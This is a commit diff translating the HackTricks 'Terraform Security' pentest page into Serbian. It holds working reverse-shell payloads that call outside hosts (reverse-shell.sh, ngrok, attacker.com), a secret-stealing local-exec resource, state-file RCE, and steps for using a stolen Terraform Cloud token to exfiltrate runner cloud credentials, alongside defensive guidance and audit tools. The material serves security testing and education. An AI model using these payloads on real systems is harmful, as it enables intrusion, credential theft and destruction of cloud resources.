mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 11:07:37 -08:00
Translated ['', 'src/pentesting-ci-cd/terraform-security.md'] to sr
This commit is contained in:
@@ -1,68 +1,68 @@
|
||||
# Terraform Security
|
||||
# Terraform sigurnost
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
[Iz dokumenata:](https://developer.hashicorp.com/terraform/intro)
|
||||
[Iz dokumentacije:](https://developer.hashicorp.com/terraform/intro)
|
||||
|
||||
HashiCorp Terraform je **alat za infrastrukturu kao kod** koji vam omogućava da definišete kako **resurse u oblaku, tako i lokalne resurse** u konfiguracionim datotekama koje su čitljive za ljude, a koje možete verzionisati, ponovo koristiti i deliti. Zatim možete koristiti dosledan radni tok za obezbeđivanje i upravljanje svim vašim infrastrukturnim resursima tokom njihovog životnog ciklusa. Terraform može upravljati niskonivnim komponentama kao što su resursi za računanje, skladištenje i umrežavanje, kao i visokolevelnim komponentama kao što su DNS unosi i SaaS funkcije.
|
||||
HashiCorp Terraform je alat za infrastrukturu kao kod koji vam omogućava da definišete i cloud i on-prem resurse u ljudski čitljivim konfiguracionim fajlovima koje možete verzionisati, ponovo koristiti i deliti. Zatim možete koristiti konzistentan workflow da obezbedite i upravljate svojom infrastrukturom kroz ceo njen životni ciklus. Terraform može da upravlja niskonivo komponentama kao što su compute, storage i networking resursi, kao i visokog nivoa komponentama kao što su DNS unosi i SaaS funkcionalnosti.
|
||||
|
||||
#### Kako Terraform funkcioniše?
|
||||
#### Kako Terraform radi?
|
||||
|
||||
Terraform kreira i upravlja resursima na platformama u oblaku i drugim uslugama putem njihovih interfejsa za programiranje aplikacija (API). Provajderi omogućavaju Terraformu da radi sa praktično bilo kojom platformom ili uslugom koja ima dostupan API.
|
||||
Terraform kreira i upravlja resursima na cloud platformama i drugim servisima preko njihovih application programming interfaces (APIs). Providers omogućavaju Terraformu da radi sa gotovo bilo kojom platformom ili servisom koji ima dostupno API.
|
||||
|
||||
.png>)
|
||||
|
||||
HashiCorp i Terraform zajednica su već napisali **više od 1700 provajdera** za upravljanje hiljadama različitih tipova resursa i usluga, a ovaj broj se nastavlja povećavati. Sve javno dostupne provajdere možete pronaći na [Terraform Registry](https://registry.terraform.io/), uključujući Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog i mnoge druge.
|
||||
HashiCorp i Terraform zajednica su već napisali više od 1700 providera za upravljanje hiljadama različitih tipova resursa i servisa, i taj broj nastavlja da raste. Sve javno dostupne providere možete naći na [Terraform Registry](https://registry.terraform.io/), uključujući Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, i mnoge druge.
|
||||
|
||||
Osnovni radni tok Terraform-a sastoji se od tri faze:
|
||||
Osnovni Terraform workflow se sastoji iz tri faze:
|
||||
|
||||
- **Pisanje:** Definišete resurse, koji mogu biti raspoređeni preko više provajdera i usluga u oblaku. Na primer, možete kreirati konfiguraciju za implementaciju aplikacije na virtuelnim mašinama u mreži Virtuelne Privatne Oblasti (VPC) sa sigurnosnim grupama i balansirnikom opterećenja.
|
||||
- **Planiranje:** Terraform kreira plan izvršenja koji opisuje infrastrukturu koju će kreirati, ažurirati ili uništiti na osnovu postojeće infrastrukture i vaše konfiguracije.
|
||||
- **Primena:** Nakon odobrenja, Terraform izvršava predložene operacije u ispravnom redosledu, poštujući sve zavisnosti resursa. Na primer, ako ažurirate svojstva VPC-a i promenite broj virtuelnih mašina u tom VPC-u, Terraform će ponovo kreirati VPC pre nego što skalira virtuelne mašine.
|
||||
- **Write:** Definišete resurse, koji mogu biti raspoređeni preko više cloud providera i servisa. Na primer, možete napraviti konfiguraciju za deploy aplikacije na virtualnim mašinama u Virtual Private Cloud (VPC) mreži sa security grupama i load balancer-om.
|
||||
- **Plan:** Terraform kreira execution plan koji opisuje infrastrukturu koju će kreirati, ažurirati ili uništiti na osnovu postojeće infrastrukture i vaše konfiguracije.
|
||||
- **Apply:** Nakon odobrenja, Terraform izvršava predložene operacije u ispravnom redosledu, poštujući zavisnosti resursa. Na primer, ako ažurirate svojstva VPC-a i promenite broj virtuelnih mašina u tom VPC-u, Terraform će ponovo kreirati VPC pre nego što skalira virtuelne mašine.
|
||||
|
||||
.png>)
|
||||
|
||||
### Terraform laboratorija
|
||||
### Terraform Lab
|
||||
|
||||
Samo instalirajte terraform na vašem računaru.
|
||||
Samo instalirajte terraform na svoj računar.
|
||||
|
||||
Ovde imate [vodič](https://learn.hashicorp.com/tutorials/terraform/install-cli) i ovde imate [najbolji način za preuzimanje terraforma](https://www.terraform.io/downloads).
|
||||
Evo vam [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) i ovde imate [best way to download terraform](https://www.terraform.io/downloads).
|
||||
|
||||
## RCE u Terraform-u: trovanje konfiguracione datoteke
|
||||
## RCE in Terraform: config file poisoning
|
||||
|
||||
Terraform **nema platformu koja izlaže web stranicu ili mrežnu uslugu** koju možemo enumerisati, stoga je jedini način da kompromitujemo terraform **da možemo dodati/izmeniti terraform konfiguracione datoteke** ili **da možemo izmeniti terraform stanje datoteke** (vidi poglavlje ispod).
|
||||
Terraform **nema platformu koja izlaže web stranicu ili mrežnu uslugu** koju možemo enumerisati, stoga je jedini način da kompromitujemo terraform mogućnost da dodamo/izmenimo terraform konfiguracione fajlove ili mogućnost da izmenimo terraform state fajl (vidi poglavlje niže).
|
||||
|
||||
Međutim, terraform je **veoma osetljiva komponenta** za kompromitovanje jer će imati **privilegovan pristup** različitim lokacijama kako bi mogao pravilno da funkcioniše.
|
||||
Međutim, terraform je **veoma osetljiva komponenta** za kompromitovanje jer će imati **privilegovan pristup** različitim lokacijama da bi pravilno radio.
|
||||
|
||||
Glavni način na koji napadač može kompromitovati sistem na kojem se terraform izvršava je **kompromitovanje repozitorijuma koji čuva terraform konfiguracije**, jer će u nekom trenutku biti **interpretirane**.
|
||||
Glavni način da napadač kompromituje sistem gde terraform radi je da **kompromituje repozitorijum koji čuva terraform konfiguracije**, jer će se te konfiguracije u nekom trenutku **interpretirati**.
|
||||
|
||||
U stvari, postoje rešenja koja **automatski izvršavaju terraform plan/primenu nakon što je PR** kreiran, kao što je **Atlantis**:
|
||||
U stvari, postoje rešenja koja **automatski izvršavaju terraform plan/apply nakon što se kreira PR**, kao što je **Atlantis**:
|
||||
|
||||
{{#ref}}
|
||||
atlantis-security.md
|
||||
{{#endref}}
|
||||
|
||||
Ako ste u mogućnosti da kompromitujete terraform datoteku, postoje različiti načini na koje možete izvršiti RCE kada neko izvrši `terraform plan` ili `terraform apply`.
|
||||
Ako možete kompromitovati terraform fajl, postoje različiti načini da izvedete RCE kada neko izvrši `terraform plan` ili `terraform apply`.
|
||||
|
||||
### Terraform plan
|
||||
|
||||
Terraform plan je **najčešće korišćena komanda** u terraform-u i programeri/rešenja koja koriste terraform je pozivaju stalno, tako da je **najlakši način da dobijete RCE** da se pobrinete da otrovate terraform konfiguracionu datoteku koja će izvršiti proizvoljne komande u `terraform plan`.
|
||||
Terraform plan je **najčešće korišćena komanda** u terraformu i developeri/solucije koje koriste terraform je često pozivaju, tako da je **najnajlakši način da dobijete RCE** da se postarate da unesete otrov u terraform config fajl koji će izvršiti proizvoljne komande u `terraform plan`.
|
||||
|
||||
**Korišćenje spoljnog provajdera**
|
||||
**Korišćenje external providera**
|
||||
|
||||
Terraform nudi [`external` provajder](https://registry.terraform.io/providers/hashicorp/external/latest/docs) koji pruža način za interakciju između Terraforma i spoljnjih programa. Možete koristiti `external` izvor podataka za izvršavanje proizvoljnog koda tokom `plana`.
|
||||
Terraform nudi [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) koji obezbeđuje način interfejsa između Terraforma i eksternih programa. Možete koristiti `external` data source da pokrenete proizvoljan kod tokom `plan`.
|
||||
|
||||
Umetanje nečega poput sledećeg u terraform konfiguracionu datoteku izvršiće rev shell kada se izvrši `terraform plan`:
|
||||
Ubacivanje u terraform konfiguracioni fajl nečega kao sledeće će izvršiti rev shell prilikom izvršavanja `terraform plan`:
|
||||
```javascript
|
||||
data "external" "example" {
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
}
|
||||
```
|
||||
**Korišćenje prilagođenog provajdera**
|
||||
**Korišćenje custom providera**
|
||||
|
||||
Napadač bi mogao poslati [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) na [Terraform Registry](https://registry.terraform.io/) i zatim ga dodati u Terraform kod u funkcionalnoj grani ([primer odavde](https://alex.kaskaso.li/post/terraform-plan-rce)):
|
||||
Napadač može poslati [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) na [Terraform Registry](https://registry.terraform.io/) i zatim ga dodati u Terraform kod u feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
|
||||
```javascript
|
||||
terraform {
|
||||
required_providers {
|
||||
@@ -75,28 +75,28 @@ version = "1.0"
|
||||
|
||||
provider "evil" {}
|
||||
```
|
||||
Provajder se preuzima u `init` i izvršiće maliciozni kod kada se izvrši `plan`.
|
||||
Provider se preuzima pri `init` i pokrenuće maliciozni kod kada se izvrši `plan`
|
||||
|
||||
Možete pronaći primer na [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
|
||||
|
||||
**Korišćenje spoljnog reference**
|
||||
**Korišćenje spoljne reference**
|
||||
|
||||
Obe pomenute opcije su korisne, ali nisu baš diskretne (druga je diskretnija, ali složenija od prve). Ovaj napad možete izvesti čak i na **diskretniji način**, prateći ove sugestije:
|
||||
Obe pomenute opcije su korisne, ali nisu previše diskretne (druga je diskretnija, ali složenija od prve). Možete izvesti ovaj napad i na još **neupadljiviji način**, prateći ove predloge:
|
||||
|
||||
- Umesto da direktno dodate rev shell u terraform datoteku, možete **učitati spoljnji resurs** koji sadrži rev shell:
|
||||
- Umesto dodavanja rev shell direktno u terraform fajl, možete **učitati spoljašnji resurs** koji sadrži rev shell:
|
||||
```javascript
|
||||
module "not_rev_shell" {
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
}
|
||||
```
|
||||
Možete pronaći rev shell kod na [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
Možete pronaći rev shell code na [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
|
||||
- U spoljnim resursima, koristite **ref** funkciju da sakrijete **terraform rev shell kod u grani** unutar repozitorijuma, nešto poput: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
- U spoljnjem resursu, koristite **ref** funkciju da sakrijete **terraform rev shell code in a branch** unutar repoa, nešto poput: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
|
||||
### Terraform Apply
|
||||
|
||||
Terraform apply će biti izvršen da primeni sve promene, takođe ga možete zloupotrebiti da dobijete RCE injektovanjem **malicioznog Terraform fajla sa** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
Samo treba da se pobrinete da neki payload poput sledećih završi u `main.tf` fajlu:
|
||||
Terraform apply će biti izvršen da primeni sve izmene; možete ga takođe zloupotrebiti da dobijete RCE injektovanjem **zlonamernog Terraform fajla sa** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html).\
|
||||
Samo treba da se postarate da neki payload poput sledećih završi u fajlu `main.tf`:
|
||||
```json
|
||||
// Payload 1 to just steal a secret
|
||||
resource "null_resource" "secret_stealer" {
|
||||
@@ -112,27 +112,27 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
}
|
||||
```
|
||||
Sledite **preporukama iz prethodne tehnike** da izvršite ovaj napad na **diskretniji način koristeći spoljne reference**.
|
||||
Pratite **predloge iz prethodne tehnike** da ovaj napad izvedete na **diskretniji način koristeći eksterne reference**.
|
||||
|
||||
## Izvori tajni
|
||||
## Ispis tajni
|
||||
|
||||
Možete imati **tajne vrednosti koje koristi terraform izbačene** pokretanjem `terraform apply` dodavanjem nečega poput:
|
||||
Možete naterati da se **tajne vrednosti koje koristi terraform ispišu** pokretanjem `terraform apply` tako što ćete u terraform fajl dodati nešto poput:
|
||||
```json
|
||||
output "dotoken" {
|
||||
value = nonsensitive(var.do_token)
|
||||
}
|
||||
```
|
||||
## Zloupotreba Terraform State Fajlova
|
||||
## Zloupotreba Terraform state datoteka
|
||||
|
||||
U slučaju da imate pristup za pisanje nad terraform state fajlovima, ali ne možete da menjate terraform kod, [**ova istraživanja**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) nude neke zanimljive opcije za korišćenje fajla. Čak i ako biste imali pristup za pisanje nad konfiguracionim fajlovima, korišćenje vektora state fajlova je često mnogo podlije, pošto ne ostavljate tragove u `git` istoriji.
|
||||
U slučaju da imate write access nad terraform state datotekama ali ne možete da menjate terraform kod, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) daje neke zanimljive opcije za iskorišćavanje te datoteke. Čak i ako biste imali write access nad config files, korišćenje vektora state datoteka je često mnogo prikrivenije, jer ne ostavljate tragove u `git` istoriji.
|
||||
|
||||
### RCE u Terraform-u: trovanje konfiguracionog fajla
|
||||
### RCE in Terraform: config file poisoning
|
||||
|
||||
Moguće je [napraviti prilagođenog provajdera](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) i jednostavno zameniti jednog od provajdera u terraform state fajlu za zlonamernog ili dodati lažni resurs koji se poziva na zlonamernog provajdera.
|
||||
It is possible to [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) and just replace one of the providers in the terraform state file for the malicious one or add a fake resource referencing the malicious provider.
|
||||
|
||||
Provajder [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) se oslanja na istraživanje i oružava ovaj princip. Možete dodati lažni resurs i navesti proizvoljnu bash komandu koju želite da izvršite u atributu `command`. Kada se pokrene `terraform` run, ovo će biti pročitano i izvršeno u koracima `terraform plan` i `terraform apply`. U slučaju koraka `terraform apply`, `terraform` će obrisati lažni resurs iz state fajla nakon izvršavanja vaše komande, čisteći za sobom. Više informacija i potpuna demonstracija mogu se naći u [GitHub repozitorijumu koji hostuje izvorni kod za ovog provajdera](https://github.com/offensive-actions/terraform-provider-statefile-rce).
|
||||
The provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) builds on the research and weaponizes this principle. You can add a fake resource and state the arbitrary bash command you want to run in the attribute `command`. When the `terraform` run is triggered, this will be read and executed in both the `terraform plan` and `terraform apply` steps. In case of the `terraform apply` step, `terraform` will delete the fake resource from the state file after executing your command, cleaning up after itself. More information and a full demo can be found in the [GitHub repository hosting the source code for this provider](https://github.com/offensive-actions/terraform-provider-statefile-rce).
|
||||
|
||||
Da biste ga koristili direktno, jednostavno uključite sledeće na bilo kojoj poziciji u `resources` nizu i prilagodite atribute `name` i `command`:
|
||||
To use it directly, just include the following at any position of the `resources` array and customize the `name` and the `command` attributes:
|
||||
```json
|
||||
{
|
||||
"mode": "managed",
|
||||
@@ -156,11 +156,11 @@ Zatim, čim se `terraform` izvrši, vaš kod će se pokrenuti.
|
||||
|
||||
### Brisanje resursa <a href="#deleting-resources" id="deleting-resources"></a>
|
||||
|
||||
Postoje 2 načina da se unište resursi:
|
||||
Postoje 2 načina da uništite resurse:
|
||||
|
||||
1. **Umetnite resurs sa nasumičnim imenom u datoteku stanja koja pokazuje na pravi resurs koji treba uništiti**
|
||||
1. **Ubaci resurs sa slučajnim imenom u state file koji pokazuje na pravi resurs koji treba uništiti**
|
||||
|
||||
Pošto će terraform videti da resurs ne bi trebao da postoji, uništiće ga (prateći pravi ID resursa koji je naznačen). Primer sa prethodne strane:
|
||||
Pošto će `terraform` videti da taj resurs ne bi trebalo da postoji, uništiće ga (prateći navedeni realni resource ID). Primer sa prethodne strane:
|
||||
```json
|
||||
{
|
||||
"mode": "managed",
|
||||
@@ -176,13 +176,13 @@ Pošto će terraform videti da resurs ne bi trebao da postoji, uništiće ga (pr
|
||||
]
|
||||
},
|
||||
```
|
||||
2. **Izmenite resurs za brisanje na način da nije moguće ažurirati (tako da će biti obrisan i ponovo kreiran)**
|
||||
2. **Izmenite resurs da bude obrisan na način koji onemogućava ažuriranje (tako će biti izbrisan i ponovo kreiran)**
|
||||
|
||||
Za EC2 instancu, izmena tipa instance je dovoljna da terraform obriše i ponovo je kreira.
|
||||
Za EC2 instance, promena tipa instance je dovoljna da terraform izbriše i ponovo kreira instancu.
|
||||
|
||||
### Zamenite crnu listu provajdera
|
||||
### Zamenite provajdera koji je stavljen na crnu listu
|
||||
|
||||
U slučaju da naiđete na situaciju gde je `hashicorp/external` stavljen na crnu listu, možete ponovo implementirati `external` provajder na sledeći način. Napomena: Koristimo fork `external` provajdera objavljen od strane https://registry.terraform.io/providers/nazarewk/external/latest. Takođe možete objaviti svoj vlastiti fork ili ponovnu implementaciju.
|
||||
Ako naiđete na situaciju u kojoj je `hashicorp/external` stavljen na crnu listu, možete ponovo implementirati `external` provajder na sledeći način. Napomena: Koristimo fork external providera objavljen na https://registry.terraform.io/providers/nazarewk/external/latest. Možete i vi objaviti sopstveni fork ili ponovnu implementaciju.
|
||||
```terraform
|
||||
terraform {
|
||||
required_providers {
|
||||
@@ -193,7 +193,7 @@ version = "3.0.0"
|
||||
}
|
||||
}
|
||||
```
|
||||
Tada možete koristiti `external` kao i obično.
|
||||
Zatim možete koristiti `external` kao i obično.
|
||||
```terraform
|
||||
data "external" "example" {
|
||||
program = ["sh", "-c", "whoami"]
|
||||
@@ -201,19 +201,17 @@ program = ["sh", "-c", "whoami"]
|
||||
```
|
||||
## Terraform Cloud speculative plan RCE and credential exfiltration
|
||||
|
||||
Ovaj scenario zloupotrebljava Terraform Cloud (TFC) izvršitelje tokom spekulativnih planova da bi se prešao u ciljni cloud nalog.
|
||||
|
||||
- Preduslovi:
|
||||
- Ukrao Terraform Cloud token sa developerske mašine. CLI čuva tokene u običnom tekstu na `~/.terraform.d/credentials.tfrc.json`.
|
||||
- Token mora imati pristup ciljnjoj organizaciji/radnom prostoru i najmanje `plan` dozvolu. VCS-podržani radni prostori blokiraju `apply` iz CLI, ali i dalje omogućavaju spekulativne planove.
|
||||
- Ukradite Terraform Cloud token sa developerske mašine. CLI čuva tokene u plaintext-u na `~/.terraform.d/credentials.tfrc.json`.
|
||||
- Token mora imati pristup ciljnoj organizaciji/workspace-u i najmanje `plan` dozvolu. VCS-backed workspaces blokiraju `apply` iz CLI, ali i dalje dozvoljavaju speculative plans.
|
||||
|
||||
- Otkrijte postavke radnog prostora i VCS putem TFC API:
|
||||
- Otkrivanje workspace i VCS podešavanja putem TFC API-ja:
|
||||
```bash
|
||||
export TF_TOKEN=<stolen_token>
|
||||
curl -s -H "Authorization: Bearer $TF_TOKEN" \
|
||||
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
|
||||
```
|
||||
- Pokrenite izvršavanje koda tokom spekulativnog plana koristeći spoljašnji izvor podataka i Terraform Cloud "cloud" blok za ciljanje VCS-podržanog radnog prostora:
|
||||
- Pokrenite izvršavanje koda tokom spekulativnog plana koristeći external data source i Terraform Cloud "cloud" block kako biste ciljali VCS-backed workspace:
|
||||
```hcl
|
||||
terraform {
|
||||
cloud {
|
||||
@@ -226,30 +224,30 @@ data "external" "exec" {
|
||||
program = ["bash", "./rsync.sh"]
|
||||
}
|
||||
```
|
||||
Primer rsync.sh za dobijanje reverzne ljuske na TFC runner-u:
|
||||
Primer rsync.sh za dobijanje reverse shell na TFC runner:
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
|
||||
```
|
||||
Pokrenite spekulativni plan za izvršavanje programa na ephemernom izvršitelju:
|
||||
Pokreni spekulativni plan za izvršavanje programa na ephemeral runner-u:
|
||||
```bash
|
||||
terraform init
|
||||
terraform plan
|
||||
```
|
||||
- Enumerisati i exfiltrirati injektovane cloud kredencijale iz runner-a. Tokom izvršavanja, TFC injektuje kredencijale provajdera putem fajlova i promenljivih okruženja:
|
||||
- Enumerate and exfiltrate injected cloud credentials sa runnera. Tokom izvršavanja, TFC injects provider credentials putem fajlova i environment variables:
|
||||
```bash
|
||||
env | grep -i gcp || true
|
||||
env | grep -i aws || true
|
||||
```
|
||||
Očekivani fajlovi u radnom direktorijumu runner-a:
|
||||
- GCP:
|
||||
- `tfc-google-application-credentials` (JSON konfiguracija Workload Identity Federation)
|
||||
- `tfc-gcp-token` (token za pristup GCP sa kratkim vremenom trajanja)
|
||||
- `tfc-google-application-credentials` (Workload Identity Federation JSON konfiguracija)
|
||||
- `tfc-gcp-token` (kratkotrajni GCP access token)
|
||||
- AWS:
|
||||
- `tfc-aws-shared-config` (konfiguracija pretpostavke uloge web identiteta/OIDC)
|
||||
- `tfc-aws-token` (token sa kratkim vremenom trajanja; neke organizacije mogu koristiti statičke ključeve)
|
||||
- `tfc-aws-shared-config` (web identity/OIDC role assumption konfiguracija)
|
||||
- `tfc-aws-token` (kratkotrajni token; neke organizacije mogu koristiti statičke ključeve)
|
||||
|
||||
- Koristite kratkoročne akreditive van kanala da biste zaobišli VCS kapije:
|
||||
- Koristite kratkotrajne kredencijale out-of-band da zaobiđete VCS gates:
|
||||
|
||||
GCP (gcloud):
|
||||
```bash
|
||||
@@ -263,28 +261,55 @@ export AWS_CONFIG_FILE=./tfc-aws-shared-config
|
||||
export AWS_PROFILE=default
|
||||
aws sts get-caller-identity
|
||||
```
|
||||
Sa ovim kredencijalima, napadači mogu da kreiraju/modifikuju/unište resurse direktno koristeći native CLIs, zaobilazeći PR-bazirane radne tokove koji blokiraju `apply` putem VCS-a.
|
||||
Sa ovim creds, attackers mogu create/modify/destroy resources direktno koristeći native CLIs, zaobilazeći PR-based workflows koji blokiraju `apply` via VCS.
|
||||
|
||||
- Defensivna uputstva:
|
||||
- Primeni najmanje privilegije za TFC korisnike/timove i tokene. Revizija članstva i izbegavanje prevelikih vlasnika.
|
||||
- Ograniči `plan` dozvolu na osetljivim VCS-podržanim radnim prostorima gde je to moguće.
|
||||
- Sprovodi allowlist-e za provajdere/izvore podataka sa Sentinel politikama kako bi blokirao `data "external"` ili nepoznate provajdere. Pogledaj HashiCorp uputstva o filtriranju provajdera.
|
||||
- Preferiraj OIDC/WIF umesto statičnih cloud kredencijala; tretiraj trkače kao osetljive. Prati spekulativne planove i neočekivani izlaz.
|
||||
- Otkrivanje eksfiltracije `tfc-*` artefakata kredencijala i upozoravanje na sumnjivu upotrebu `external` programa tokom planova.
|
||||
- Odbrambene smernice:
|
||||
- Apply least privilege to TFC users/teams and tokens. Audit memberships and avoid oversized owners.
|
||||
- Ograničite `plan` permission na osetljivim VCS-backed workspaces gde je izvodljivo.
|
||||
- Enforce provider/data source allowlists with Sentinel policies to block `data "external"` or unknown providers. See HashiCorp guidance on provider filtering.
|
||||
- Prefer OIDC/WIF over static cloud credentials; treat runners as sensitive. Monitor speculative plan runs and unexpected egress.
|
||||
- Detect exfiltration of `tfc-*` credential artifacts and alert on suspicious `external` program usage during plans.
|
||||
|
||||
|
||||
## Automatski alati za reviziju
|
||||
## Kompromitovanje Terraform Cloud
|
||||
|
||||
### Using a token
|
||||
|
||||
Kao **[explained in this post](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)**, terraform CLI stores tokens in plaintext at **`~/.terraform.d/credentials.tfrc.json`**. Krađa ovog tokena omogućava napadaču da se predstavlja kao korisnik u okviru opsega tokena.
|
||||
|
||||
Using this token it's possible to get the org/workspace with:
|
||||
```bash
|
||||
GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod
|
||||
Authorization: Bearer <TF_TOKEN>
|
||||
```
|
||||
Tada je moguće pokrenuti proizvoljan kod koristeći **`terraform plan`**, kao objašnjeno u prethodnom poglavlju.
|
||||
|
||||
### Escaping to the cloud
|
||||
|
||||
Ako se runner nalazi u nekom cloud okruženju, moguće je dobiti token principala vezanog za runner i koristiti ga izvan kanala (out of band).
|
||||
|
||||
- **GCP files (present in current run working directory)**
|
||||
- `tfc-google-application-credentials` — JSON config for Workload Identity Federation(WIF) that tells Google how to exchange the external identity.
|
||||
- `tfc-gcp-token` — short‑lived (≈1 hour) GCP access token referenced by the above
|
||||
|
||||
- **AWS files**
|
||||
- `tfc-aws-shared-config` — JSON for web identity federation/OIDC role assumption
|
||||
(preferred over static keys).
|
||||
- `tfc-aws-token` — short‑lived token, or potentially static IAM keys if misconfigured.
|
||||
|
||||
|
||||
## Automatic Audit Tools
|
||||
|
||||
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
|
||||
|
||||
Snyk nudi sveobuhvatno rešenje za skeniranje Infrastructure as Code (IaC) koje otkriva ranjivosti i pogrešne konfiguracije u Terraform-u, CloudFormation-u, Kubernetes-u i drugim IaC formatima.
|
||||
Snyk nudi sveobuhvatno rešenje za skeniranje Infrastructure as Code (IaC) koje otkriva ranjivosti i pogrešne konfiguracije u Terraform, CloudFormation, Kubernetes i drugim IaC formatima.
|
||||
|
||||
- **Karakteristike:**
|
||||
- Skeniranje u realnom vremenu za sigurnosne ranjivosti i probleme usklađenosti.
|
||||
- Integracija sa sistemima za kontrolu verzija (GitHub, GitLab, Bitbucket).
|
||||
- Automatski pull zahtevi za ispravke.
|
||||
- Detaljna uputstva za otklanjanje problema.
|
||||
- **Prijavi se:** Kreiraj nalog na [Snyk](https://snyk.io/).
|
||||
- **Features:**
|
||||
- Skeniranje u realnom vremenu za bezbednosne ranjivosti i probleme usklađenosti.
|
||||
- Integracija sa sistemima za verzionisanje (GitHub, GitLab, Bitbucket).
|
||||
- Automatski pull requestovi sa ispravkama.
|
||||
- Detaljni saveti za sanaciju.
|
||||
- **Sign Up:** Create an account on [Snyk](https://snyk.io/).
|
||||
```bash
|
||||
brew tap snyk/tap
|
||||
brew install snyk
|
||||
@@ -293,28 +318,28 @@ snyk iac test /path/to/terraform/code
|
||||
```
|
||||
### [Checkov](https://github.com/bridgecrewio/checkov) <a href="#install-checkov-from-pypi" id="install-checkov-from-pypi"></a>
|
||||
|
||||
**Checkov** je alat za statičku analizu koda za infrastrukturu kao kod (IaC) i takođe alat za analizu sastava softvera (SCA) za slike i pakete otvorenog koda.
|
||||
**Checkov** je alat za statičku analizu koda za infrastructure as code (IaC) i takođe alat za Software Composition Analysis (SCA) za image-ove i open source pakete.
|
||||
|
||||
Skenira cloud infrastrukturu koja je obezbeđena koristeći [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), ili [OpenTofu](https://opentofu.org/) i otkriva bezbednosne i usklađenosti greške u konfiguraciji koristeći skeniranje zasnovano na grafu.
|
||||
Skenera pregledava cloud infrastrukturu postavljenu pomoću [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), или [OpenTofu](https://opentofu.org/) и otkriva security i compliance misconfigurations koristeći skeniranje zasnovano na grafovima.
|
||||
|
||||
